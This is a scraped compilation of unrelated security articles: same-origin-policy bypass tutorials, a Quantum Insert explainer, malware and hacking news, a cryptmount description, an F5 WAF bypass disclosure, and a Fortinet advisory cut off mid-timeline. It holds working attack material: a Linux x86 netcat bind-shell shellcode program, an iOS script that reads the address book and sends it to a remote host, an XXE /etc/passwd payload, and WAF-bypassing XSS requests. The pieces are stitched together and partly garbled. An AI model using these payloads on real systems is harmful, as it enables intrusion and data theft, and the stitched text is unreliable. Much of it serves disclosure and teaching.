talk about how JavaScript can access DOM policies, we consider the 3 portions of the URL, which are HOST NAME + SCHEME + PORT. If more than one application has the same hostname, scheme and port and is trying to access the DOM data, access will be granted. However, Internet Explorer only validates hostname + scheme before accessing the same. Internet Explorer does not care about PORT. This is traditional scenario which works well when accessing the same with one origin. In many cases, multiple hosts could be possible within the same root domain which accesses the source page’s DOM. Google is one example, which takes a series of sites’ authentication from the central authentication server. For instance, cart.httpsecure.org may take authentication through login.httpsecure.org. In such cases, the sites can use the document.domain property to allow other sites within the same domain to interact with the DOM (document object model). If you want to allow the code from cart.httpsecure.org to interact with the login.httpsecure.org, the developer will need to set the document.domain property to the root of the domain on both sites. i.e. document.domain = “httpsecure.org” This means that anything in the httpsecure.org domain can access the DOM in the current page. When setting up this way, you should keep in mind that if you deployed another site on the Internet, such as about.httpsecure.org, with some vulnerability, cart.httpsecure.org may vulnerable too and could be accessed at this origin. Let’s suppose an attacker is successfully able to upload some malicious code – then about.httpsecure.org would have same level of access as the login site. Understand SOP with CORS: Same origin policy weds cross-origin resource sharing Cross-origin resource sharing (CORS) is a mechanism that allows many resources (e.g. fonts, JavaScript, etc.) on a web page to be requested from another domain outside the domain from which the resource originated. Let’s suppose an application uses an XMLHttpRequest to send a request to a different origin. In this case you cannot read the response, but the request will arrive at its destination. That’s a very useful feature of cross-origin requests. The SOP also prevents you from reading the HTTP response header and body. The best way to relax the SOP and allow cross-origin communication with XHR is using cross-origin resource sharing (CORS). If the httpsecure.org origin returns the following response header, then every subdomain of httpsecure.org can open a bidirectional communication channel with httpsecure.org: Access-Control-Allow-Origin: *.Httpsecure.org Access-Control-Allow-Methods: OPTIONS, GET, POST, HEAD, PUT Access-Control-Allow-Headers: X-custom Access-Control-Allow-Credentials: true In the above response header, the first line describes the bidirectional communication channel. The second describes that the request can be made using any of the OPTIONS, GET, POST, PUT, HEAD methods, eventually including the third line x-custom header. Access-Control-Allow-Credentials:true specify for allowing authenticated communication to a resource. Understand SOP with plugins: Same origin policy weds plugins Note: If a plugin is installed for httpsecure.org:80, then it will only have access to httpsecure.org:80. Many SOP implementations in Java, Adobe Reader, Flash and Silverlight are currently suffering from different bypass methods. Most of the browser plugins implement the SOP in their own way, such as some versions of Java consider two different domains to have the SOP if the IP is the same. This might have a devastating result in a virtual hosting environment, which host multiple applications with the same IP address. If we talk about some plugins, such as Flash player and the PDF reader plugin, they have a long critical vulnerability history. Most of these issues allow an attacker to execute remote arbitrary code, which is far more critical than SOP bypass. In Flash, you can use the method which allows you to manage cross-origin communication, which can be done using crossdomain.xml, which resides in the root of the application file and might have some of the following code. <?xml version="1.0"?> <cross-domain-policy> <site-control permitted-cross-domain-policies="by-content-type"/> <allow-access-from domain="*.httpsecure.org" /> </cross-domain-policy> Using this code subdomain of httpsecure.org can achieve two-way communication with the application. Crossdomain.xml also supports Java and Silverlight plugins. Understand SOP with UI redressing: Same origin policy weds UI redressing UI redressing is a malicious technique of tricking a web user into clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages. UI redressing also known as clickjacking. For the attacker to bypass the SOP, it’s is little different. Some of these attacks rely on the fact the SOP was not enforced when performing the drag and drop function from the main window to an iframe. Understand SOP with browser history: Same origin policy weds browser history When we talk about browser history, the privacy of the end user always a concern. The same origin policy with browser history attack relies on traditional SOP implementation flaws, such as HTTP scheme having access to another scheme. Bypass SOP in Java Let talk about Java versions 1.7u17 and 1.6u45, which don’t enforce the SOP if two domains resolve to the same IP. Httpsecure.org and httpssecure.com resolve to the same IP (share hosting concept). A Java applet can issue cross-origin requests and read the responses. In Java versions 6 and 7, both have an equal method of the URL object. Two hosts are considered equivalent if both host names can be resolved into the same IP address. This type of vulnerability in Java SOP implementation is a critical issue when exploiting in virtual hosting environments where potentially hundreds of domains are managed by the same server and resolved to the same IP. The most important consideration concerning the privileges required by the applet to use the URL are BufferedReader and InputStreamReader objects. In Java 1.6, no user interaction is required to run the applet, however in 1.7, user permission is required to run the same due to the changes in the applet delivery mechanism implemented by Oracle Java 1.7. Now the user must explicitly use the click to play feature to run unsigned and signed applets. This feature can be bypassed using IMMUNITY and led to a subsequent (now patched) bug CVE-2011-3546 found to bypass SOP in Java. Similarly, a SOP bypass was found in Adobe reader. One of the security researchers Neal Poole found one issue: “If the resource used to load an applet was replying with 301 or 302 redirect”, the applet origin was evaluated as the source of the redirection and not the destination. Have a look at the following code: <applet code="malicious.class" archive="http://httpsecure.org?redirect_to= http://securityhacking123.com/malicious.jar" width="100" height="100"> </applet> Bypassing SOP in Adobe Reader Adobe Reader has number of security critical bugs in its browser plugin. Most of the security vulnerabilities are arbitrary code execution due to traditional overflow problems. The Adobe Reader PDF parser understands JavaScript. This attribute is often used by malware to hide malicious code inside PDFs. CVE-2013-0622, found by Billy Rios, Federico Lanusse and Mauro Gentile, allows bypassing the SOP (unpatched 11.0.0 version below). Where exploiting an open redirect which allows a foreign origin to access the origin of the redirect, the request that returns a 302 redirect response code is used to exploit the vulnerability. If we talk about XXE Injection, it involves trying to inject malicious payloads into the request that accepts XML input as below: <!DOCTYPE bar > <!ELEMENT bar ANY > <!ENTITY xxe SYSTEM "/etc/passwd" >]><bar>&xxe;</bar> In this XML parser that allows external entities, the value of &XXE is then replaced by the /etc/passwd. This technique can be used to bypass the SOP. It will load XE and the server will serve you with a 302 redirect response. Bypassing SOP in Adobe Flash Adobe Flash uses the crossdomain.xml file, which can control applications wherever Flash can receive data. We can set a restriction on this file to only trust mentioned sites as follows: <?xml version="1.0"?> <cross-domain-policy> <site-control permitted-cross-domain-policies="by-content-type"/> <allow-access-from domain="*" /> </cross-domain-policy> By setting the allow-access-from domain, a Flash object loaded from any origin can send requests and read responses. Bypassing SOP in Silverlight Silverlight is a Microsoft plugin that uses the same origin policy in the same way as Flash does. However, it uses clientaccess-policy.xml codes shown below: <?xml version="1.0" encoding="utf-8"?> <access-policy> <cross-domain-access> <policy> <allow-from> <domain uri="*"/> </allow-from> <grant-to> <resource path="/" include-subpaths="true"/> </grant-to> </policy> </cross-domain-access> </access-policy> Keep in mind that Flash and Silverlight have differences, such as Silverlight doesn’t segregate access between different origins based on scheme and port as Flash and CORS do. So, https://Httpsecure.org and http://Httpsecure.org consider the same origin policy. Bypassing SOP in Internet Explorer Internet Explorer 8 or below are vulnerable to SOP bypass in their implementation of document.domain. The issue can be exploited easily by overriding the document object and then the domain property. The following code demonstrates the same: var document; document = {}; document.domain = ‘httpsecure.org'; alert(document.domain); his code may cause a SOP violation error code in the JavaScript console if you run this in the latest browser. The same will work in older/legacy browser of Internet Explorer. Using XSS this can be exploited and can open bidirectional communication with other origins. References http://en.wikipedia.org/wiki/Same-origin_policy http://en.wikipedia.org/wiki/Cross-origin_resource_sharing http://en.wikipedia.org/wiki/Clickjacking https://browserhacker.com/ Source

SOP Bypassing in Safari To help you understand better, http://httpsecure.org and file://httpsecure are both treated as a different origin. The Safari browser (IOS and MAC) version 6.0.2 does not enforce the same origin policy when you need to access a local resource. When an attached HTML file tries to open using the file scheme, the JavaScript code contained within can bypass the SOP and start two –way communications with different origins. Consider the following page: <html> <body> <h1> I'm a local file loaded using the file:// scheme </h1> <script> xhr = new XMLHttpRequest(); xhr.onreadystatechange = function (){ if (xhr.readyState == 4) { alert(xhr.responseText); } }; xhr.open("GET", "http://httpsecure.org/docs/safari_sameoriginpolicy_bypassing/other_origin.html"); xhr.send(); </script> </body> </html> Now that the page has loaded the file scheme, the XMLHTTPRequest object is able to read the response after requesting the above mentioned code. SOP Bypassing in Firefox Firefox is the most used browser and the same origin policy bypassing was found by Gareth Heyes in October 2012. The issue found by him is critical and the company decided to fix it and stop its distribution. The issue found in version 16 resulted in unauthorized access to the window.location object outside the constraints of the SOP. The bypassing code is shown below. <!Doctype html> <script> function poc() { var win = window.open('https://httpsecure.org/abc/', 'newWin', 'width=200,height=200'); setTimeout(function(){ alert('Hello '+/^https:\/\/httpsecure.org\/([^/]+)/.exec( win.location)[1]) }, 5000); } </script> <input type=button value="Firefox knows" onclick="poc()"> Execution of the above code from an origin you control will also authenticate into httpsecure on a separate tab of he browser. This loads httpsecure.org/abc and the application redirects to https://httpsecure.org/ <user_uid>/lists (where user_id is your httpsecure handle). After 5 seconds, the exec function will trigger the window.location object to be parsed (here’s the bug, as it shouldn’t be accessible cross-origin) with the regex. This results in the httpsecure handle displayed in the alert box. In August 2012, when Mozilla released its version with support for HTML 5 sandboxed iframes, BRAUN found the issue that, when using allow-script as a value of the iframe sandbox attribute, rogue/fake JavaScript from the iframe content could still access window.top. This would change the outer window.location. <!-- Outer file, bearing the sandbox --> <iframe src="inner.html" sandbox="allow-scripts"></iframe> The framed code was: <!-- Framed document , inner.html --> <script > // escape sandbox: if(top != window) { top.location = window.location; } // all following JavaScript code and markup is unrestricted: // plugins, popups and forms allowed. </script> This code needs to specify with additional code allow-top-navigation, and allows JavaScript code loaded inside an iframe to change the location of window. An attacker could use this to redirect user/victim to a malicious website by hooking the victim of the browser. Note: In HTML5, a new iframe attribute was introduced, called sandbox. The main focus of this new attribute was to have a more granular and secure way to use iframes, with the limited potential harm of third party content embedded from different origins. The sandbox attribute value was set to be zero or the following keywords: allow-forms, allow-popups, allow-same-origin, allow-scripts, allow-top-navigation SOP Bypassing in Opera The same origin policy bypass was found by Heyes. The issue was critical, where Opera was not properly enforcing the same origin policy when overriding prototypes or the constructor of an iframe location object. Let’s take following code example: <html> <body> <iframe id="ifr" src="http://httpsecure.org/xdomain.html"></iframe> <script> var iframe = document.getElementById('ifr'); function do_something(){ var iframe = document.getElementById('ifr'); iframe.contentWindow.location.constructor. prototype. defineGetter__.constructor('[].constructor. prototype.join=function(){console.log("pwned")}')(); } setTimeout("do_something()",3000); </script> </body> </html> Following is the content framed from a different origin: <html> <body> <b>I will be framed from a different origin</b> <script> function do_join(){ [1,2,3].join(); console.log("join() after prototype override: " + [].constructor.prototype.join); } console.log("join() after prototype override: " + [].constructor.prototype.join); setTimeout("do_join();", 5000); </script> </body> </html> In the above mentioned code frame, the console value of constructor.prototype.join is native code used when join() is called on an array. After a few seconds, join() method is called on the [1,2,3] array and the printing function used previously is called again. If you have a deep look back at the above mentioned code, you will see that join() prototype gets overridden inside the do_something() function. Note: Heyes also found SOP bypass by overriding prototypes and using literal values, which were not filtered by Opera before. In the real case scenario, this bypass only works in a frameable web application, so if the application already mitigated vulnerability like CLICKJACKING by frame busting, X-Frame-Option: deny cannot be targeted or consider mitigated. Let’s take an example where the target browser has two tabs open in an Opera browser, where one is a hacked tab and the other is authenticated. If you create an iframe with an src tag in the authenticated origin, you can read the IFRAME content by which you can access any sensitive information. Same Origin Policy Bypassing in Cloud Storage If you think the same origin policy is limited to browsers and their plugins only then, consider this: cloud storage services are also vulnerable to SOP bypass. The same is also found in DROPBOX 1.4.6 on IOS and 2.0.1 on Android, and Google Drive 1.0.1 on IOS. All of these services offer you to store and synchronize files to the cloud. Roi Saltzman found this issue, which is a bit similar to Safari SOP bypass. This bypass relies on the loading of a file in a privileged zone: File://var/mobile/application/app_uuid If an attacker is able to trick the target into loading an HTML file through the client application, the JavaScript code contained in the file will be executed. In this attack, the file is loaded in a privileged zone which allowed JavaScript access to the local file system of the mobile device. FYI: if the HTML file is loaded using the file scheme, nothing prevents JavaScript from accessing another file like: file:///var/mobile/Library/AddressBook/AddressBook.sqlitedb The above mentioned link database contains the user’s address book on IOS. In this, if the target application denies file access outside of the application scope, you can still retrieve the cached file. In this attack, if the user accesses this malicious link, the contents of the user address book will be sent to httpsecure.org. <html> <body> <script> local_xhr = new XMLHttpRequest(); local_xhr.open("GET", "file:///var/mobile/Library/AddressBook/ 150 Chapter 4 ? Bypassing the Same Origin Policy AddressBook.sqlitedb"); local_xhr.send(); local_xhr.onreadystatechange = function () { if (local_xhr.readyState == 4) { remote_xhr = new XMLHttpRequest(); remote_xhr.onreadystatechange = function () {}; remote_xhr.open("GET", "http://httpsecure.org/?f=" + encodeURI(local_xhr.responseText)); remote_xhr.send(); } } </script> </body> </html> Same Origin Policy Bypassing in Cross-Origin Resource Sharing (CORS) CORS is also vulnerable to the same origin policy bypass. CORS has misconfiguration of Access-Control-Allow-Origin: * The above mentioned code is a potential misconfiguration. Research says that more than one million applications misconfigured the Access-Control-Allow-Origin header. This allows any application on the Internet to submit a cross origin request to the site and read the response. The wild card value for the Access-Control-Allow-origin is not so insecure, if a permissive policy is used to provide content that does not contain sensitive information. Source

A Quantum Insert Attack is a classic example of man-in-the-middle attacks which resurfaced into news among the top 10 biggest leaks by WikiLeaks founder Edward Snowden. The NSA and Britain’s GCHQ intelligence services allegedly used it against OPEC and Belgacom successfully for their benefit. In short – Quantum is a code name for the servers which are strategically placed by NSA and GCHQ that can respond faster to a request than the intended recipient. The attacker would need monitoring capabilities to successfully attack the victim. Once the quantum servers win the race condition against the original response, the attacker can steal sensitive data like login credentials, bank account details, and credit card numbers or even spread a malware which can work in tandem with a botnet C&C server. Understanding the attack The attack begins with the attacker gaining monitoring capabilities into the victim’s network. In a government sponsored attack, the monitoring capabilities can be gained by Internet Service Providers and in the case of cyber espionage crimes, having access within a network looking to move laterally inside. This kind of attack is generally not used for large scale attacks, instead the attacker is very well aware of his target and most frequently used websites. In the past, Snowden leaks revealed that LinkedIn and Slashdot users have been targeted for attacks. The crux of the attack is in winning the race condition against the legitimate response packets. The schematic diagram here will help you understand better: Step 1: Step 2: Step 3: In the above schematic diagram, we see that the attacker waits on the network for the target to initiate a connection with a particular website. Each quantum server is configured so that certain conditions are met. Once any request from the target fulfills this set of conditions, the attacker is notified of the request from the target. The quantum servers then shoot a response to the original request by the victim. The victim receives the malicious payload, and the attacker can have full control of the victim. The original response packets from the website are discarded. Simulating the attack To simulate the Quantum Insert attack, we would require three VMs: One VM will act as a victim Second VM will be used to monitor the traffic Third will be used to shoot a malicious payload to the victim. The proof-of-concept code for simulation is available to be downloaded here: Download hough the details of use for the script is given in the github page, let me re-iterate them here for quick reference. The attacker knows that the victim frequents mysite.com and configures his monitor.py to notify the shooter on matching certain conditions. In our case the conditions are as follows: Victim visits mysite.com We need SYN+ACK of mysite.com On getting this information via tcpdump (whose output is parsed by monitor.py) the shooter is notified. Shooter has a dependency on Scapy to craft packets (with its header details, but a different payload) to be sent to the victim. The only challenge here is to have a privileged position in the Internet backbone, to win the race condition. How real time QI works I. Foot printing Agencies like NSA and GCHQ catch hold of choke point in the Internet backbone, and try to catch hold of the identity of the users from the organization that is being targeted. The project codenamed as TURMOIL captures the network dumps and passes it to traffic analysis tools like Xkeyscore which automate the packet analysis. II. Build User Profiles Tools like Xkeyscore can be used to search for patterns in the network traffic which help in identifying multiple points of attacks. The kinds of data which are captured include web histories, email traffic, chat logs etc. It seems that in a particular case of QI attacks on OPEC, this phase went on for several years. III. Attack the target Once the attack points are profiled, the monitor at the choke point of the Internet backbone notifies the shooter when any requests fulfilling all the conditions are met. In the case of the Belgacom hack, GCHQ used QI attack to route the traffic for LinkedIn and Slashdot to malicious servers posing as those sites. IV. Maintain access and persist Once the attack is successful, it’s the same old mundane post exploitation tasks where the attacker tries to escalate privileges and laterally move within the network in stealth mode to gain his hands on sensitive data and other network resources like mail servers, file servers etc., which are then exfiltrated to data analysis experts. Detecting QI attacks QI attacks work by spoofing the packets in response to a request to a particular website. One packet in response to a GET request from the victim contains content for the real website, and another packet will contain content for the malicious website. But, both of these packets are bound to have the same sequence numbers, which is a giveaway while detecting QI attacks. Another anomaly to be noticed is the TTL value of the packet. The spoofed packets would contain a significant difference in the TTL values than the real packets because of the closer proximity of the attacker to the victim. Links for QI detection for snort: GitHub Links for QI PCAPS: GitHub References http://blog.fox-it.com Source

Threat Spotlight: Rombertik – Gazing Past the Smoke, Mirrors, and Trapdoors Download standard pass Download infected Source

/* # Linux x86 /bin/nc -le /bin/sh -vp 17771 shellcode # This shellcode will listen on port 17771 and give you /bin/sh # Shellcode Author: Oleg Boytsev # Tested on: Debian GNU/Linux 7/i686 # Shellcode Length: 58 # Command: gcc -m32 -z execstack x86_Linux_netcat_shellcode.c -o x86_Linux_netcat_shellcode global _start section .text _start: xor eax, eax xor edx, edx push eax push 0x31373737 ;-vp17771 push 0x3170762d mov esi, esp push eax push 0x68732f2f ;-le//bin//sh push 0x6e69622f push 0x2f656c2d mov edi, esp push eax push 0x636e2f2f ;/bin//nc push 0x6e69622f mov ebx, esp push edx push esi push edi push ebx mov ecx, esp mov al,11 int 0x80 */ #include<stdio.h> #include<string.h> unsigned char shellcode[] = "\x31\xc0\x31\xd2\x50\x68\x37\x37\x37\x31\x68\x2d\x76\x70\x31\x89\xe6\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x68\x2d\x6c\x65\x2f\x89\xe7\x50\x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69\x6e\x89\xe3\x52\x56\x57\x53\x89\xe1\xb0\x0b\xcd\x80"; main() { printf("Shellcode Length: %d\n",strlen(shellcode)); int (*ret)() = (int(*)())shellcode; ret(); } Source

Researchers have uncovered new malware that takes extraordinary measures to evade detection and analysis, including deleting all hard drive data and rendering a computer inoperable. Rombertik, as the malware has been dubbed by researchers from Cisco Systems' Talos Group, is a complex piece of software that indiscriminately collects everything a user does on the Web, presumably to obtain login credentials and other sensitive data. It gets installed when people click on attachments included in malicious e-mails. Talos researchers reverse engineered the software and found that behind the scenes Rombertik takes a variety of steps to evade analysis. It contains multiple levels of obfuscation and anti-analysis functions that make it hard for outsiders to peer into its inner workings. And in cases that main yfoye.exe component detects the malware is under the microscope of a security researcher or rival malware writer, Rombertik will self-destruct, taking along with it the contents of a victim's hard drive. In a blog post published Monday, Talos researchers Ben Baker and Alex Chiu wrote: "If an analysis tool attempted to log all of the 960 million write instructions, the log would grow to over 100 gigabytes," the Talos researchers explained. "Even if the analysis environment was capable of handling a log that large, it would take over 25 minutes just to write that much data to a typical hard drive. This complicates analysis.'>Source

Twin brothers in Virginia were indicted Thursday on computer hacking and other charges. Muneeb and Sohaib Akhter and co-conspirators allegedly hacked into the website of a cosmetics company and stole customer credit card data and personal information, according to a Thursday release. The 23-year-old brothers used the information obtained in the scheme to purchase goods and services such as flights and hotel reservations, and even to register to attend professional conferences, the release indicated. The duo and co-conspirators are also charged with hacking government systems. “In addition, the brothers and co-conspirators devised a scheme to hack into computer systems at the U.S. Department of State to access network traffic and to obtain passport information,” the release stated. The two men are charged with aggravated identity theft, conspiracy to commit wire fraud, conspiracy to access a protected computer without authorization, access of a protected computer without authorization, conspiracy to access a government computer without authorization, false statements, and obstruction of justice. If convicted on all counts, Muneeb Akhter faces a maximum 59 years in prison and Sohaib Akhter faces a maximum 39 years in prison. Source

Yes it's slow, but it's enough to leak data to another Android The better your Android smartphone's audio, the worse its security – the audio channel is the latest path for “low and slow” data leak attacks. A research group at the Rochester Institute of Technology (RIT) has demonstrated that you could create a covert data channel using a smartphone's voice channel. While it only runs at 13 bits per second, the researchers reckon that's enough to exfiltrate data (if you're patient), or the channel could be used to spread malware that opens up more attack possibilities. And, of course, because your average Android security product watches out for suspicious data interactions, the voice-carrying hardware might go completely unnoticed. What Bushra Aloraini, Daryl Johnson, Bill Stackpole, and Sumita Mishra of the RIT's Golisano College of Computing and Information Science did was create a software modem (remember Winmodem?) that encodes data on the voice stream, but doesn't take up enough of that stream so that the user will notice. Therein lies the importance of high-quality voice: in an older Android mobe with just a baseband processor (BP) and an application processor (AP), “end users and applications are not able to access the cellular voice stream”. Newer mobes designed to slake our thirst for high-quality multimedia are different – they have dedicated A/V processors, with the application processor doing audio routing. As the paper states, the “audio path to the cellular voice channel could be reached and controlled from the AP and potentially the end user.” he researchers' audio modem works just like an old-school dial-up modem, using frequency-shift keying to encode digital states (in their case, Morse code, with 600 Hz representing a dot and 1,000 Hz representing a dash). The audio modem is accompanied with a rootkit that hides the modem in Android, and gives it continuous privileged access to the system. Source

Insecure sites relegated to Firefox Stone Age Insecure websites will be barred from using new hardware features and could have existing tools revoked, if Mozilla goes ahead with a push towards HTTPS. Webmasters that don't turn on HTTPS could be excluded from the new features list under a Mozilla initiative designed to rid the net of careless clear text gaffes, sending a "message" to developers that their web properties need to be secured, regardless of content served. Precisely which features could be held back are subject to debate, Mozilla security chief Richard Barnes says. "For example, one definition of 'new' [features] could be 'features that cannot be polyfilled'," Barnes says in a post. "That would allow things like CSS and other rendering features to still be used by insecure websites, since the page can draw effects on its own but it would still restrict qualitatively new features, such as access to new hardware capabilities. "Removing features from the non-secure web will likely cause some sites to break so we will have to monitor the degree of breakage and balance it with the security benefit." Mozilla, whose Firefox is used by a quarter of net surfers, says [PDF] existing features may be revoked but not before developers receive prior notice. The group has not yet set a date for when the "feature ban" will come into effect, but will submit proposals to the W3C WebAppSec Working Group 'soon'. It may begin with a softer slap for insecure sites - for example, by limiting the abilities of features rather than an outright block. Barnes says sites some HTTP content will be okay thanks to security features like HSTS. "It should be noted that this plan still allows for usage of the HTTP URI scheme in legacy content. With HSTS and the upgrade-insecure-requests CSP attribute, the HTTP scheme can be automatically translated to HTTPS by the browser, and thus run securely." Source

HARDWARE FIRM Lenovo has been accused of offering its customers another free bonus security threat just weeks after the Superfish scandal. The firm has already fixed the problem, but the news, and its description as another "massive security risk", isn't good. Superfish was a scandal for the firm and affected a lot of its hardware. Lenovo disabled the software and took any associated financial losses on the chin. Ultimately, the firm said that it had failed its customers. "We recognise that the software did not meet that goal and have acted quickly and decisively. We are providing support on our forums for any user with concerns," Lenovo said at the time. "Our goal is to find technologies that best serve users. In this case, we have responded quickly to negative feedback and taken decisive actions to ensure that we address these concerns." Today we asked the firm to comment on the findings of IOActive Lab researchers who accused it of major vulnerabilities and a system that enables the creation and exploitation of fake credentials and the handing over of system control. IOActive Lab said in a security report (PDF) that the problem has been fixed, but that it had granted attackers the same kind of access as a system update, and allowed for the execution of code. Attackers could exploit an flaw in Lenovo's certificate authority methods, and use it to sign off their own executables which could have a range of capabilities. "Local and potentially remote attackers can bypass signature validation checks and replace trusted Lenovo applications with malicious applications," said the advisory. "These applications will then be run as a privileged user. The System Update downloads executables from the internet and runs them. "Remote attackers who can perform a man-in-the-middle attack can exploit this to swap Lenovo's executables with a malicious executable. "The System Update uses TLS/SSL to secure its communications with the update server, which should protect against [such] attacks. "In a statement Lenovo told the INQUIRER that it worked with the security firm after it was notified and patched the problem in April. It added that it appreciates the assistance, explaining that its update fixed all issues. "Lenovo's development and security teams worked directly with IOActive regarding their System Update vulnerability findings, and we value their expertise in identifying and responsibly reporting them," it said. "Lenovo released an updated version of System Update which resolves these vulnerabilities and subsequently published a security advisory in coordination with IOActive. Lenovo recommends that all users update System Update to eliminate the vulnerabilities reported by IOActive." Source

cryptmount is a utility for GNU/Linux operating systems which allows an ordinary user to mount an encrypted filing system without requiring superuser privileges. It is aimed at recent Linux systems using the 2.6 kernel series. There are currently two main approaches to using encrypted filesystems within the linux kernel: the cryptoloop device driver; the device-mapper system, using the dm-crypt target. The (older) cryptoloop system has grown in parallel with the loopback device-driver of 2.4 kernel series, but has now been superseded by the device-mapper capabilities of the 2.6 kernel series. The newer devmapper system offers a cleaner organization of encryption and device-access, and superior performance has been noted. Alternative user-space tools which allow individual files to be encrypted are also widely available, but allow some information about file sizes & organization to be exposed. With the older cryptoloop system, it was possible to describe all the details of an encrypted filesystem within /etc/fstab so that it could be configured completely by 'mount'. This meant that it was particularly easy to give any user permission to mount those encrypted filesystems simply by providing the 'user' option within /etc/fstab. With the newer device-mapper infrastructure, there are more stages involved in mounting an encrypted filing system, and neither does 'mount' currently allow this nor does the syntax of /etc/fstab lend itself to describing all the necessary filesystem parameters. This is especially so if the filesystem is stored in an ordinary file, which would require separate configuration of a loopback device and a devmapper target before the filesystem could be accessed. cryptmount was written to make it as easy for ordinary users to access encrypted filesystems on-demand using the newer devmapper mechansism as it was to use the older, now deprecated, cryptoloop methods. This offers the following advantages: access to improved functionality in the kernel transparent support for filesystems stored on either raw disk partitions or loopback files separate encryption of filesystem access keys, allowing access passwords to be changed without re-encrypting the entire filesystem storing multiple encrypted filesystems within a single disk partition, using a designated subset of blocks for each rarely used filesystems do not need to be mounted at system startup un-mounting of each filesystem is locked so that this can only be performed by the user that mounted it, or the superuser encrypted filesystems compatible with cryptsetup encrypted access-keys can be chosen to be compatible with openssl, or managed via libgcrypt, or (for 2.0 release-series) built-in SHA1/Blowfish ciphers support for encrypted swap partitions (superuser only) support for setting up encrypted filesystems or crypto-swap at system boot-up Link: cryptmount.sourceforge.net

Details ======= Product: F5 BIG-IP Application Security Manager (ASM) Vulnerability: Web Application Firewall Bypass Author: Peter Lapp, lappsec () gmail com CVE: None assigned Vulnerable Versions: Confirmed 11.4.0, 11.4.1. Should apply to all releases. Fixed Version: None Summary ======= The F5 ASM is a web application firewall designed to protect web applications from attacks. Due to the way that the system processes JSON content, it's possible to bypass the ASM using a crafted request to a URL that processes both JSON and regular URL encoded requests. The vendor has acknowledged that this is an issue and has indicated that a fix will be released sometime in the future, but doesn't have a time frame and it's not a priority. I decided to release the details so anyone with a vulnerable configuration is aware of the risk and can act accordingly. Technical Details ================= The problem is that the ASM's JSON parser does not normalize URL encoded content. So it will block <script>, but not %3cscript%3e. This is fine unless you have a JSON profile applied to a URL that also processes normal x-www-form-urlencoded POST requests. In this case, it's possible to trick the ASM into thinking the request is JSON, URL encode your payload, and slip it through to the application. Granted, this bypass is limited to a specific configuration, but it's really not that uncommon to have a JSON profile applied to a URL that also processes other data. Possible scenarios include a generic JSON catchall, one automatically created by the policy builder, or you may have a web application that uses parameter based navigation (page=json goes to one page, page=search goes to another). In any case, if you have a JSON profile applied to a URL that also handles POST requests with x-www-form-urlencoded content, you're vulnerable. First, in order to bypass the ASM, you have to trick it into thinking the request content is JSON. In F5's documentation (https://support.f5.com/kb/en-us/products/big-ip_asm/manuals/product/asm-implementations-11-4-0/14.html), they recommend matching *json* in the Content-Type header. This is easily tricked by setting the header to "Content-Type: application/x-www-form-urlencoded; charset=UTF-8;json". I then tested setting it to only match on application/json, but that was still tricked by dual content-type headers: Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Type: application/json The application (running on Tomcat) processed the request as urlencoded, but the ASM processed it as JSON. >From here, passing through a malicious payload depends on the violations that are enabled on the security profile. If Malformed JSON is NOT enabled, you can just tag "json" onto the end of the content header(or double the header), URL encode special characters in your payload and send it away. In this case, a request like the following would not be blocked: POST / HTTP/1.1 Host: x.x.x.x Connection: keep-alive Content-Length: 168 Content-Type: application/x-www-form-urlencoded; charset=UTF-8;json search=%3cimg+src%3dx+onerror%3alert%280%29%3e If Malformed JSON violations are enabled, then the payload has to be valid JSON. A request like the one below will get past that. It's not pretty but it works. This request will get past the ASM with all the bells and whistles enabled. POST / HTTP/1.1 Host: x.x.x.x Connection: keep-alive Content-Length: 168 Content-Type: application/x-www-form-urlencoded; charset=UTF-8;json {"junkparam=&search=%3cimg+src%3dx+onerror%3dalert%280%29%3e&junkparam2=":"junk"} The ASM parses that as JSON and it is well formed so there aren't any errors. But the application is processing it as x-www-form-urlencoded so {"junkparam is just treated as a regular parameter name and the second parameter with the payload in it gets through. The last parameter is there just to close out the JSON format. Also, because JSON profiles don't check for meta characters in parameter names, it doesn't trigger an Illegal meta character in parameter name violation. If the payload looked like this {"param":"junkparam=&locationFilter=%3cimg+src%3dx+onerror%3dalert%280%29%3e&junkparam2="} then it would still get through but only if the illegal meta character in value violation was not set to block. Right now there is no fix for this issue and I haven't been able to find a way to block a request like the one above from getting through. I consulted F5's engineers and they said this was by design and there's no way to block it as of now. There will be a fix for this in the future, but until then make sure that your ASM profiles are as explicit as possible and you have compensating security controls for any URLs that this bypass would apply to. It's just another reason not to use a WAF as a band-aid for a vulnerable application! Feel free to contact me if you have any questions or additional information to add to this. Timeline ======== 1/19/2015 - Reported the issue to the vendor 2/26/2015 - The vendor confirms that it's a valid problem but are not going to release a fix in the near term. 3/13/2015 - Vendor product development creates ID 511951 to track the problem and consider adding a fix in a future major release. 5/5/2015 - Released info to FD. Source

Document Title: =============== Fortinet FortiAnalyzer & FortiManager - Client Side Cross Site Scripting Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1354 Security Bulletin FortiGuard: http://www.fortiguard.com/advisory/FG-IR-15-005/ PSIRT ID: 1327458 http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-3620 CVE-ID: ======= CVE-2015-3620 Release Date: ============= 2015-05-05 Vulnerability Laboratory ID (VL-ID): ==================================== 1354 Common Vulnerability Scoring System: ==================================== 3.5 Product & Service Introduction: =============================== FortiAnalyzer Centralized Logging and Reporting Appliances securely aggregate, analyze, and report on network log data gathered from Fortinet Network Security Appliances and other syslog-compatible devices. You can analyze and manage a wide range of data, including security events, network traffic, Web content, and email, to measure your security posture regulatory compliance. FortiAnalyzer is one of several versatile, adaptive Fortinet Network Security Management Products that support diverse deployment types, growth flexibility, advanced customization through APIs and simple licensing. Versatile models are designed for large organizations and multi-tenant environments, smaller networks and mid-enterprise organizations (Copy of the Vendor Homepage: http://www.fortinet.com/products/fortianalyzer/network-security-logging-reporting.html ) The FortiAnalyzer Virtual Security Reporting Appliances securely aggregate log data from Fortinet devices and other syslog-compatible devices. Using a comprehensive suite of easily-customized reports, users can filter and review records, including traffic, event, virus, attack, Web content, and email data, mining the data to determine your security stance and assure regulatory compliance. (Copy of the Vendor Homepage: http://www.fortinet.com/products/fortianalyzer/virtual-security-reporting.html ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered a client-side vulnerability in the Fortinet FortiAnalyzer & FortiManager v5.2 appliance web-application. Vulnerability Disclosure Timeline: ================================== 2014-12-01: Researcher Notification & Coordination (Benjamin Kunz Mejri) 2014-12-02: Vendor Notification 1 